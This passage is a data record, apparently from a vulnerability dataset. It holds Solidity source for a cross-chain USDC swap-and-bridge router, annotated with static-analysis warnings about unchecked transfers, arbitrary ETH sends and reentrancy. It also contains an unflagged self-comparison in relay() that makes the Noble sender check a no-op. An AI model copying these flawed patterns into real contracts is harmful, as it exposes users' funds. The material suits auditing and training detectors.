return _messageRef.index(SENDER_INDEX, 32);\n }\n\n function sender(bytes memory _message) public pure returns (bytes32) {\n return _sender(_message.ref(0));\n }\n\n function _destinationCaller(\n bytes29 _message\n ) private pure returns (bytes32) {\n return _message.index(DESTINATION_CALLER_INDEX, 32);\n }\n\n function destinationCaller(\n bytes memory _message\n ) public pure returns (bytes32) {\n return _destinationCaller(_message.ref(0));\n }\n\n function body(bytes memory message) public pure returns (bytes memory) {\n return\n message.slice(\n MESSAGE_BODY_INDEX,\n message.length - MESSAGE_BODY_INDEX\n );\n }\n}\n\nstruct SwapMessage {\n uint32 version;\n bytes32 bridgeNonceHash;\n uint256 sellAmount;\n bytes32 buyToken;\n uint256 guaranteedBuyAmount;\n bytes32 recipient;\n}\n\nlibrary SwapMessageCodec {\n using Bytes for *;\n\n uint8 public constant VERSION_END_INDEX = 4;\n\n uint8 public constant BRIDGENONCEHASH_END_INDEX = 36;\n\n uint8 public constant SELLAMOUNT_END_INDEX = 68;\n\n uint8 public constant BUYTOKEN_END_INDEX = 100;\n\n uint8 public constant BUYAMOUNT_END_INDEX = 132;\n\n uint8 public constant RECIPIENT_END_INDEX = 164;\n\n function encode(\n SwapMessage memory swapMessage\n ) public pure returns (bytes memory) {\n return\n abi.encodePacked(\n swapMessage.version,\n swapMessage.bridgeNonceHash,\n swapMessage.sellAmount,\n swapMessage.buyToken,\n swapMessage.guaranteedBuyAmount,\n swapMessage.recipient\n );\n }\n\n function decode(\n bytes memory message\n ) public pure returns (SwapMessage memory) {\n uint32 version;\n\n bytes32 bridgeNonceHash;\n\n uint256 sellAmount;\n\n bytes32 buyToken;\n\n uint256 guaranteedBuyAmount;\n\n bytes32 recipient;\n\n assembly {\n version := mload(add(message, VERSION_END_INDEX))\n\n bridgeNonceHash := mload(add(message, BRIDGENONCEHASH_END_INDEX))\n\n sellAmount := mload(add(message, SELLAMOUNT_END_INDEX))\n\n buyToken := mload(add(message, BUYTOKEN_END_INDEX))\n\n guaranteedBuyAmount := mload(add(message, BUYAMOUNT_END_INDEX))\n\n recipient := mload(add(message, RECIPIENT_END_INDEX))\n }\n\n return\n SwapMessage(\n version,\n bridgeNonceHash,\n sellAmount,\n buyToken,\n guaranteedBuyAmount,\n recipient\n );\n }\n}\n\nlibrary TypedMemView {\n bytes29 public constant NULL =\n hex\"ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\";\n\n uint256 constant LOW_12_MASK = 0xffffffffffffffffffffffff;\n\n uint8 constant SHIFT_TO_LEN = 24;\n\n uint8 constant SHIFT_TO_LOC = 96 + 24;\n\n uint8 constant SHIFT_TO_TYPE = 96 + 96 + 24;\n\n bytes private constant NIBBLE_LOOKUP = \"0123456789abcdef\";\n\n function nibbleHex(uint8 _byte) internal pure returns (uint8 _char) {\n uint8 _nibble = _byte & 0x0f;\n\n _char = uint8(NIBBLE_LOOKUP[_nibble]);\n }\n\n function byteHex(uint8 _b) internal pure returns (uint16 encoded) {\n encoded |= nibbleHex(_b >> 4);\n\n encoded <<= 8;\n\n encoded |= nibbleHex(_b);\n }\n\n function encodeHex(\n uint256 _b\n ) internal pure returns (uint256 first, uint256 second) {\n for (uint8 i = 31; i > 15; i -= 1) {\n uint8 _byte = uint8(_b >> (i * 8));\n\n first |= byteHex(_byte);\n\n if (i != 16) {\n first <<= 16;\n }\n }\n\n for (uint8 i = 15; i < 255; i -= 1) {\n uint8 _byte = uint8(_b >> (i * 8));\n\n second |= byteHex(_byte);\n\n if (i != 0) {\n second <<= 16;\n }\n }\n }\n\n function leftMask(uint8 _len) private pure returns (uint256 mask) {\n assembly {\n mask := sar(\n sub(_len, 1),\n 0x8000000000000000000000000000000000000000000000000000000000000000\n )\n }\n }\n\n function unsafeBuildUnchecked(\n uint256 _type,\n uint256 _loc,\n uint256 _len\n ) private pure returns (bytes29 newView) {\n uint256 _uint96Bits = 96;\n\n uint256 _emptyBits = 24;\n\n assembly {\n newView := shl(_uint96Bits, or(newView, _type))\n\n newView := shl(_uint96Bits, or(newView, _loc))\n\n newView := shl(_emptyBits, or(newView, _len))\n }\n }\n\n function build(\n uint256 _type,\n uint256 _loc,\n uint256 _len\n ) internal pure returns (bytes29 newView) {\n uint256 _end = _loc + _len;\n\n assembly {\n if gt(_end, mload(0x40)) {\n _end := 0\n }\n }\n\n if (_end == 0) {\n return NULL;\n }\n\n newView = unsafeBuildUnchecked(_type, _loc, _len);\n }\n\n function ref(\n bytes memory arr,\n uint40 newType\n ) internal pure returns (bytes29) {\n uint256 _len = arr.length;\n\n uint256 _loc;\n\n assembly {\n _loc := add(arr, 0x20)\n }\n\n return build(newType, _loc, _len);\n }\n\n function loc(bytes29 memView) internal pure returns (uint96 _loc) {\n uint256 _mask = LOW_12_MASK;\n\n uint256 _shift = SHIFT_TO_LOC;\n\n assembly {\n _loc := and(shr(_shift, memView), _mask)\n }\n }\n\n function len(bytes29 memView) internal pure returns (uint96 _len) {\n uint256 _mask = LOW_12_MASK;\n\n uint256 _emptyBits = 24;\n\n assembly {\n _len := and(shr(_emptyBits, memView), _mask)\n }\n }\n\n function indexErrOverrun(\n uint256 _loc,\n uint256 _len,\n uint256 _index,\n uint256 _slice\n ) internal pure returns (string memory err) {\n (, uint256 a) = encodeHex(_loc);\n\n (, uint256 b) = encodeHex(_len);\n\n (, uint256 c) = encodeHex(_index);\n\n (, uint256 d) = encodeHex(_slice);\n\n err = string(\n abi.encodePacked(\n \"TypedMemView/index - Overran the view. Slice is at 0x\",\n uint48(a),\n \" with length 0x\",\n uint48(b),\n \". Attempted to index at offset 0x\",\n uint48(c),\n \" with length 0x\",\n uint48(d),\n \".\"\n )\n );\n }\n\n function index(\n bytes29 memView,\n uint256 _index,\n uint8 _bytes\n ) internal pure returns (bytes32 result) {\n if (_bytes == 0) {\n return bytes32(0);\n }\n\n if (_index + _bytes > len(memView)) {\n revert(\n indexErrOverrun(\n loc(memView),\n len(memView),\n _index,\n uint256(_bytes)\n )\n );\n }\n\n require(\n _bytes <= 32,\n \"TypedMemView/index - Attempted to index more than 32 bytes\"\n );\n\n uint8 bitLength;\n\n unchecked {\n bitLength = _bytes * 8;\n }\n\n uint256 _loc = loc(memView);\n\n uint256 _mask = leftMask(bitLength);\n\n assembly {\n result := and(mload(add(_loc, _index)), _mask)\n }\n }\n\n function indexUint(\n bytes29 memView,\n uint256 _index,\n uint8 _bytes\n ) internal pure returns (uint256 result) {\n return uint256(index(memView, _index, _bytes)) >> ((32 - _bytes) * 8);\n }\n}\n\nabstract contract AdminControl {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 54178e4): ValueRouter.constructor(address,address,address,address,address).admin shadows AdminControl.admin (state variable)\n\t// Recommendation for 54178e4: Rename the local variables that shadow another component.\n address public admin;\n\n address public pendingAdmin;\n\n event ChangeAdmin(address indexed _old, address indexed _new);\n\n event ApplyAdmin(address indexed _old, address indexed _new);\n\n constructor(address _admin) {\n require(_admin != address(0), \"AdminControl: address(0)\");\n\n admin = _admin;\n\n emit ChangeAdmin(address(0), _admin);\n }\n\n modifier onlyAdmin() {\n require(msg.sender == admin, \"AdminControl: not admin\");\n\n _;\n }\n\n function changeAdmin(address _admin) external onlyAdmin {\n require(_admin != address(0), \"AdminControl: address(0)\");\n\n pendingAdmin = _admin;\n\n emit ChangeAdmin(admin, _admin);\n }\n\n function applyAdmin() external {\n require(msg.sender == pendingAdmin, \"AdminControl: Forbidden\");\n\n emit ApplyAdmin(admin, pendingAdmin);\n\n admin = pendingAdmin;\n\n pendingAdmin = address(0);\n }\n}\n\nstruct MessageWithAttestation {\n bytes message;\n bytes attestation;\n}\n\nstruct SellArgs {\n address sellToken;\n uint256 sellAmount;\n uint256 guaranteedBuyAmount;\n uint256 sellcallgas;\n bytes sellcalldata;\n}\n\nstruct BuyArgs {\n bytes32 buyToken;\n uint256 guaranteedBuyAmount;\n uint256 buycallgas;\n bytes buycalldata;\n}\n\nstruct Fee {\n uint256 bridgeFee;\n uint256 swapFee;\n}\n\ninterface IValueRouter {\n event TakeFee(address to, uint256 amount);\n\n event SwapAndBridge(\n address sellToken,\n address buyToken,\n uint256 bridgeUSDCAmount,\n uint32 destDomain,\n address recipient,\n uint64 bridgeNonce,\n uint64 swapMessageNonce,\n bytes32 bridgeHash\n );\n\n event ReplaceSwapMessage(\n address buyToken,\n uint32 destDomain,\n address recipient,\n uint64 swapMessageNonce\n );\n\n event LocalSwap(\n address msgsender,\n address sellToken,\n uint256 sellAmount,\n address buyToken,\n uint256 boughtAmount\n );\n\n event BridgeArrive(bytes32 bridgeNonceHash, uint256 amount);\n\n event DestSwapFailed(bytes32 bridgeNonceHash);\n\n event DestSwapSuccess(bytes32 bridgeNonceHash);\n\n function version() external view returns (uint16);\n\n function fee(uint32 domain) external view returns (uint256, uint256);\n\n function swap(\n bytes calldata swapcalldata,\n uint256 callgas,\n address sellToken,\n uint256 sellAmount,\n address buyToken,\n uint256 guaranteedBuyAmount,\n address recipient\n ) external payable;\n\n function swapAndBridge(\n SellArgs calldata sellArgs,\n BuyArgs calldata buyArgs,\n uint32 destDomain,\n bytes32 recipient\n ) external payable returns (uint64, uint64);\n\n function relay(\n MessageWithAttestation calldata bridgeMessage,\n MessageWithAttestation calldata swapMessage,\n bytes calldata swapdata,\n uint256 callgas\n ) external;\n}\n\ncontract ValueRouter is AdminControl, IValueRouter {\n using Bytes for *;\n\n using TypedMemView for bytes;\n\n using TypedMemView for bytes29;\n\n using CCTPMessage for *;\n\n using SwapMessageCodec for *;\n\n mapping(uint32 => Fee) public fee;\n\n function setFee(\n uint32[] calldata domain,\n Fee[] calldata price\n ) public onlyAdmin {\n for (uint256 i = 0; i < domain.length; i++) {\n fee[domain[i]] = price[i];\n }\n }\n\n address public immutable usdc;\n\n IMessageTransmitter public immutable messageTransmitter;\n\n ITokenMessenger public immutable tokenMessenger;\n\n address public immutable zeroEx;\n\n uint16 public immutable version = 1;\n\n bytes32 public nobleCaller;\n\n mapping(uint32 => bytes32) public remoteRouter;\n\n mapping(bytes32 => address) swapHashSender;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 4a5db80): ValueRouter.constructor(address,address,address,address,address)._usdc lacks a zerocheck on \t usdc = _usdc\n\t// Recommendation for 4a5db80: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6bf65da): ValueRouter.constructor(address,address,address,address,address)._zeroEx lacks a zerocheck on \t zeroEx = _zeroEx\n\t// Recommendation for 6bf65da: Check that the address is not zero.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 54178e4): ValueRouter.constructor(address,address,address,address,address).admin shadows AdminControl.admin (state variable)\n\t// Recommendation for 54178e4: Rename the local variables that shadow another component.\n constructor(\n address _usdc,\n address _messageTransmitter,\n address _tokenMessenger,\n address _zeroEx,\n address admin\n ) AdminControl(admin) {\n\t\t// missing-zero-check | ID: 4a5db80\n usdc = _usdc;\n\n messageTransmitter = IMessageTransmitter(_messageTransmitter);\n\n tokenMessenger = ITokenMessenger(_tokenMessenger);\n\n\t\t// missing-zero-check | ID: 6bf65da\n zeroEx = _zeroEx;\n }\n\n receive() external payable {}\n\n function setNobleCaller(bytes32 caller) public onlyAdmin {\n nobleCaller = caller;\n }\n\n function setRemoteRouter(\n uint32 remoteDomain,\n address router\n ) public onlyAdmin {\n remoteRouter[remoteDomain] = router.addressToBytes32();\n }\n\n function setRemoteRouter(\n uint32[] calldata remoteDomains,\n bytes32[] calldata routers\n ) public onlyAdmin {\n for (uint256 i = 0; i < remoteDomains.length; i++) {\n remoteRouter[remoteDomains[i]] = routers[i];\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e6a12a1): Reentrancy in ValueRouter.takeFee(address,uint256) External calls succ = IERC20(usdc).transfer(to,amount) Event emitted after the call(s) TakeFee(to,amount)\n\t// Recommendation for e6a12a1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function takeFee(address to, uint256 amount) public onlyAdmin {\n\t\t// reentrancy-events | ID: e6a12a1\n bool succ = IERC20(usdc).transfer(to, amount);\n\n require(succ);\n\n\t\t// reentrancy-events | ID: e6a12a1\n emit TakeFee(to, amount);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 1248494): ValueRouter.zeroExSwap(bytes,uint256,address,uint256,address,uint256,address) sends eth to arbitrary user Dangerous calls (succ,None) = recipient.call{value boughtAmount}()\n\t// Recommendation for 1248494: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function zeroExSwap(\n bytes memory swapcalldata,\n uint256 callgas,\n address sellToken,\n uint256 sellAmount,\n address buyToken,\n uint256 guaranteedBuyAmount,\n address recipient\n ) public payable returns (uint256 boughtAmount) {\n if (sellToken != 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {\n\t\t\t// reentrancy-events | ID: e9c4288\n\t\t\t// reentrancy-events | ID: c463805\n\t\t\t// reentrancy-events | ID: aeeed41\n\t\t\t// reentrancy-benign | ID: 5d96da5\n require(\n IERC20(sellToken).approve(zeroEx, sellAmount),\n \"erc20 approve failed\"\n );\n }\n\n uint256 buyToken_bal_0;\n\n if (buyToken == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {\n buyToken_bal_0 = address(this).balance;\n } else {\n buyToken_bal_0 = IERC20(buyToken).balanceOf(address(this));\n }\n\n _zeroExSwap(swapcalldata, callgas);\n\n if (sellToken != 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {\n\t\t\t// reentrancy-events | ID: e9c4288\n\t\t\t// reentrancy-events | ID: c463805\n\t\t\t// reentrancy-events | ID: aeeed41\n\t\t\t// reentrancy-benign | ID: 5d96da5\n require(\n IERC20(sellToken).approve(zeroEx, 0),\n \"erc20 cancel approval failed\"\n );\n }\n\n uint256 buyToken_bal_1;\n\n if (buyToken == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {\n buyToken_bal_1 = address(this).balance;\n } else {\n buyToken_bal_1 = IERC20(buyToken).balanceOf(address(this));\n }\n\n boughtAmount = buyToken_bal_1 - buyToken_bal_0;\n\n require(boughtAmount >= guaranteedBuyAmount, \"swap output not enough\");\n\n if (recipient == address(0)) {\n return boughtAmount;\n }\n\n if (buyToken == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {\n\t\t\t// reentrancy-events | ID: e9c4288\n\t\t\t// reentrancy-events | ID: c463805\n\t\t\t// reentrancy-events | ID: aeeed41\n\t\t\t// reentrancy-benign | ID: 5d96da5\n\t\t\t// arbitrary-send-eth | ID: 1248494\n (bool succ, ) = recipient.call{value: boughtAmount}(\"\");\n\n require(succ, \"send eth failed\");\n } else {\n\t\t\t// reentrancy-events | ID: e9c4288\n\t\t\t// reentrancy-events | ID: c463805\n\t\t\t// reentrancy-events | ID: aeeed41\n\t\t\t// reentrancy-benign | ID: 5d96da5\n bool succ = IERC20(buyToken).transfer(recipient, boughtAmount);\n\n require(succ, \"erc20 transfer failed\");\n }\n\n return boughtAmount;\n }\n\n\t// WARNING Vulnerability (return-bomb | severity: Low | ID: fcd3203): ValueRouter._zeroExSwap(bytes,uint256) tries to limit the gas of an external call that controls implicit decoding (succ,None) = zeroEx.call{gas callgas,value msg.value}(swapcalldata)\n\t// Recommendation for fcd3203: Avoid unlimited implicit decoding of returndata.\n function _zeroExSwap(bytes memory swapcalldata, uint256 callgas) internal {\n\t\t// return-bomb | ID: fcd3203\n\t\t// reentrancy-events | ID: e9c4288\n\t\t// reentrancy-events | ID: c463805\n\t\t// reentrancy-events | ID: aeeed41\n\t\t// reentrancy-benign | ID: 5d96da5\n (bool succ, ) = zeroEx.call{value: msg.value, gas: callgas}(\n swapcalldata\n );\n\n require(succ, \"call swap failed\");\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c463805): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c463805: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swap(\n bytes calldata swapcalldata,\n uint256 callgas,\n address sellToken,\n uint256 sellAmount,\n address buyToken,\n uint256 guaranteedBuyAmount,\n address recipient\n ) public payable {\n if (sellToken == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {\n require(msg.value >= sellAmount, \"tx value is not enough\");\n } else {\n\t\t\t// reentrancy-events | ID: c463805\n bool succ = IERC20(sellToken).transferFrom(\n msg.sender,\n address(this),\n sellAmount\n );\n\n require(succ, \"erc20 transfer failed\");\n }\n\n\t\t// reentrancy-events | ID: c463805\n uint256 boughtAmount = zeroExSwap(\n swapcalldata,\n callgas,\n sellToken,\n sellAmount,\n buyToken,\n guaranteedBuyAmount,\n recipient\n );\n\n\t\t// reentrancy-events | ID: c463805\n emit LocalSwap(\n msg.sender,\n sellToken,\n sellAmount,\n buyToken,\n boughtAmount\n );\n }\n\n function isNoble(uint32 domain) public pure returns (bool) {\n return (domain == 4);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e9c4288): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e9c4288: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: aeeed41): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for aeeed41: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5d96da5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5d96da5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapAndBridge(\n SellArgs calldata sellArgs,\n BuyArgs calldata buyArgs,\n uint32 destDomain,\n bytes32 recipient\n ) public payable returns (uint64, uint64) {\n uint256 _fee = fee[destDomain].swapFee;\n\n if (buyArgs.buyToken == bytes32(0)) {\n _fee = fee[destDomain].bridgeFee;\n }\n\n require(msg.value >= _fee);\n\n if (recipient == bytes32(0)) {\n recipient = msg.sender.addressToBytes32();\n }\n\n if (sellArgs.sellToken == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {\n require(msg.value >= sellArgs.sellAmount, \"tx value is not enough\");\n } else {\n\t\t\t// reentrancy-events | ID: e9c4288\n\t\t\t// reentrancy-events | ID: aeeed41\n\t\t\t// reentrancy-benign | ID: 5d96da5\n bool succ = IERC20(sellArgs.sellToken).transferFrom(\n msg.sender,\n address(this),\n sellArgs.sellAmount\n );\n\n require(succ, \"erc20 transfer failed\");\n }\n\n uint256 bridgeUSDCAmount;\n\n if (sellArgs.sellToken == usdc) {\n bridgeUSDCAmount = sellArgs.sellAmount;\n } else {\n\t\t\t// reentrancy-events | ID: e9c4288\n\t\t\t// reentrancy-events | ID: aeeed41\n\t\t\t// reentrancy-benign | ID: 5d96da5\n bridgeUSDCAmount = zeroExSwap(\n sellArgs.sellcalldata,\n sellArgs.sellcallgas,\n sellArgs.sellToken,\n sellArgs.sellAmount,\n usdc,\n sellArgs.guaranteedBuyAmount,\n address(0)\n );\n }\n\n\t\t// reentrancy-events | ID: e9c4288\n\t\t// reentrancy-events | ID: aeeed41\n\t\t// reentrancy-benign | ID: 5d96da5\n require(\n IERC20(usdc).approve(address(tokenMessenger), bridgeUSDCAmount),\n \"erc20 approve failed\"\n );\n\n uint64 bridgeNonce;\n\n if (isNoble(destDomain)) {\n\t\t\t// reentrancy-events | ID: e9c4288\n bridgeNonce = tokenMessenger.depositForBurnWithCaller(\n bridgeUSDCAmount,\n destDomain,\n recipient,\n usdc,\n nobleCaller\n );\n\n\t\t\t// reentrancy-events | ID: e9c4288\n emit SwapAndBridge(\n sellArgs.sellToken,\n buyArgs.buyToken.bytes32ToAddress(),\n bridgeUSDCAmount,\n destDomain,\n recipient.bytes32ToAddress(),\n bridgeNonce,\n 0,\n bytes32(0)\n );\n\n return (bridgeNonce, 0);\n }\n\n bytes32 destRouter = remoteRouter[destDomain];\n\n\t\t// reentrancy-events | ID: aeeed41\n\t\t// reentrancy-benign | ID: 5d96da5\n bridgeNonce = tokenMessenger.depositForBurnWithCaller(\n bridgeUSDCAmount,\n destDomain,\n destRouter,\n usdc,\n destRouter\n );\n\n bytes32 bridgeNonceHash = keccak256(\n abi.encodePacked(messageTransmitter.localDomain(), bridgeNonce)\n );\n\n SwapMessage memory swapMessage = SwapMessage(\n version,\n bridgeNonceHash,\n bridgeUSDCAmount,\n buyArgs.buyToken,\n buyArgs.guaranteedBuyAmount,\n recipient\n );\n\n bytes memory messageBody = swapMessage.encode();\n\n\t\t// reentrancy-events | ID: aeeed41\n\t\t// reentrancy-benign | ID: 5d96da5\n uint64 swapMessageNonce = messageTransmitter.sendMessageWithCaller(\n destDomain,\n destRouter,\n destRouter,\n messageBody\n );\n\n\t\t// reentrancy-events | ID: aeeed41\n emit SwapAndBridge(\n sellArgs.sellToken,\n buyArgs.buyToken.bytes32ToAddress(),\n bridgeUSDCAmount,\n destDomain,\n recipient.bytes32ToAddress(),\n bridgeNonce,\n swapMessageNonce,\n bridgeNonceHash\n );\n\n\t\t// reentrancy-benign | ID: 5d96da5\n swapHashSender[\n keccak256(abi.encode(destDomain, swapMessageNonce))\n ] = msg.sender;\n\n return (bridgeNonce, swapMessageNonce);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4d00909): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4d00909: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function replaceSwapMessage(\n uint64 bridgeMessageNonce,\n uint64 swapMessageNonce,\n MessageWithAttestation calldata originalMessage,\n uint32 destDomain,\n BuyArgs calldata buyArgs,\n address recipient\n ) public {\n require(\n swapHashSender[\n keccak256(abi.encode(destDomain, swapMessageNonce))\n ] == msg.sender\n );\n\n bytes32 bridgeNonceHash = keccak256(\n abi.encodePacked(\n messageTransmitter.localDomain(),\n bridgeMessageNonce\n )\n );\n\n SwapMessage memory swapMessage = SwapMessage(\n version,\n bridgeNonceHash,\n 0,\n buyArgs.buyToken,\n buyArgs.guaranteedBuyAmount,\n recipient.addressToBytes32()\n );\n\n\t\t// reentrancy-events | ID: 4d00909\n messageTransmitter.replaceMessage(\n originalMessage.message,\n originalMessage.attestation,\n swapMessage.encode(),\n remoteRouter[destDomain]\n );\n\n\t\t// reentrancy-events | ID: 4d00909\n emit ReplaceSwapMessage(\n buyArgs.buyToken.bytes32ToAddress(),\n destDomain,\n recipient,\n swapMessageNonce\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2f10dc8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2f10dc8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 430fa69): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 430fa69: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 95a2145): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 95a2145: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b52c1c4): ValueRouter.relay(MessageWithAttestation,MessageWithAttestation,bytes,uint256) ignores return value by messageTransmitter.receiveMessage(bridgeMessage.message,bridgeMessage.attestation)\n\t// Recommendation for b52c1c4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0b835e4): ValueRouter.relay(MessageWithAttestation,MessageWithAttestation,bytes,uint256) ignores return value by messageTransmitter.receiveMessage(swapMessage.message,swapMessage.attestation)\n\t// Recommendation for 0b835e4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c183956): The return value of an external call is not stored in a local or state variable.\n\t// Recommendation for c183956: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 03a7c5b): ValueRouter.relay(MessageWithAttestation,MessageWithAttestation,bytes,uint256) ignores return value by IERC20(usdc).transfer(recipient,swapAmount)\n\t// Recommendation for 03a7c5b: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 2dc685a): ValueRouter.relay(MessageWithAttestation,MessageWithAttestation,bytes,uint256) ignores return value by IERC20(usdc).transfer(recipient,bridgeUSDCAmount)\n\t// Recommendation for 2dc685a: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function relay(\n MessageWithAttestation calldata bridgeMessage,\n MessageWithAttestation calldata swapMessage,\n bytes calldata swapdata,\n uint256 callgas\n ) public {\n uint32 sourceDomain = bridgeMessage.message.sourceDomain();\n\n require(\n swapMessage.message.sourceDomain() == sourceDomain,\n \"inconsistent source domain\"\n );\n\n if (isNoble(sourceDomain)) {\n require(\n swapMessage.message.sender() == swapMessage.message.sender(),\n \"inconsistent noble messages sender\"\n );\n }\n\n SwapMessage memory swapArgs = swapMessage.message.body().decode();\n\n if (!isNoble(sourceDomain)) {\n require(\n messageTransmitter.usedNonces(swapArgs.bridgeNonceHash) == 0,\n \"bridge message nonce is already used\"\n );\n }\n\n uint256 usdc_bal_0 = IERC20(usdc).balanceOf(address(this));\n\n\t\t// reentrancy-events | ID: 2f10dc8\n\t\t// reentrancy-events | ID: 430fa69\n\t\t// reentrancy-events | ID: 95a2145\n\t\t// unused-return | ID: b52c1c4\n messageTransmitter.receiveMessage(\n bridgeMessage.message,\n bridgeMessage.attestation\n );\n\n uint256 usdc_bal_1 = IERC20(usdc).balanceOf(address(this));\n\n require(usdc_bal_1 >= usdc_bal_0, \"usdc bridge error\");\n\n if (!isNoble(sourceDomain)) {\n require(\n messageTransmitter.usedNonces(swapArgs.bridgeNonceHash) == 1,\n \"bridge message nonce is incorrect\"\n );\n }\n\n\t\t// reentrancy-events | ID: 2f10dc8\n\t\t// reentrancy-events | ID: 430fa69\n\t\t// reentrancy-events | ID: 95a2145\n\t\t// unused-return | ID: 0b835e4\n messageTransmitter.receiveMessage(\n swapMessage.message,\n swapMessage.attestation\n );\n\n address recipient = swapArgs.recipient.bytes32ToAddress();\n\n\t\t// reentrancy-events | ID: 95a2145\n emit BridgeArrive(swapArgs.bridgeNonceHash, usdc_bal_1 - usdc_bal_0);\n\n uint256 bridgeUSDCAmount;\n\n if (swapArgs.sellAmount == 0) {\n bridgeUSDCAmount = usdc_bal_1 - usdc_bal_0;\n } else {\n bridgeUSDCAmount = swapArgs.sellAmount;\n\n if (bridgeUSDCAmount < (usdc_bal_1 - usdc_bal_0)) {\n\t\t\t\t// unchecked-transfer | ID: 2dc685a\n IERC20(usdc).transfer(recipient, bridgeUSDCAmount);\n\n return;\n }\n }\n\n uint256 swapAmount = bridgeUSDCAmount;\n\n require(swapArgs.version == version, \"wrong swap message version\");\n\n if (\n swapArgs.buyToken == bytes32(0) ||\n swapArgs.buyToken == usdc.addressToBytes32()\n ) {\n bool succ = IERC20(usdc).transfer(recipient, bridgeUSDCAmount);\n\n require(succ, \"erc20 transfer failed\");\n } else {\n\t\t\t// reentrancy-events | ID: 2f10dc8\n\t\t\t// reentrancy-events | ID: 430fa69\n\t\t\t// unused-return | ID: c183956\n try\n this.zeroExSwap(\n swapdata,\n callgas,\n usdc,\n swapAmount,\n swapArgs.buyToken.bytes32ToAddress(),\n swapArgs.guaranteedBuyAmount,\n recipient\n )\n {} catch {\n\t\t\t\t// reentrancy-events | ID: 430fa69\n\t\t\t\t// unchecked-transfer | ID: 03a7c5b\n IERC20(usdc).transfer(recipient, swapAmount);\n\n\t\t\t\t// reentrancy-events | ID: 430fa69\n emit DestSwapFailed(swapArgs.bridgeNonceHash);\n\n return;\n }\n\n\t\t\t// reentrancy-events | ID: 2f10dc8\n emit DestSwapSuccess(swapArgs.bridgeNonceHash);\n }\n }\n\n function handleReceiveMessage(\n uint32 sourceDomain,\n bytes32 sender,\n bytes calldata messageBody\n ) external returns (bool) {\n require(\n msg.sender == address(messageTransmitter),\n \"caller not allowed\"\n );\n\n if (remoteRouter[sourceDomain] == sender || isNoble(sourceDomain)) {\n return true;\n }\n\n return false;\n }\n\n function usedNonces(bytes32 nonce) external view returns (uint256) {\n return messageTransmitter.usedNonces(nonce);\n }\n\n function localDomain() external view returns (uint32) {\n return messageTransmitter.localDomain();\n }\n}\n",
"file_name": "solidity_code_10700.sol",
"size_bytes": 37966,
"vulnerability": 4
} |
{
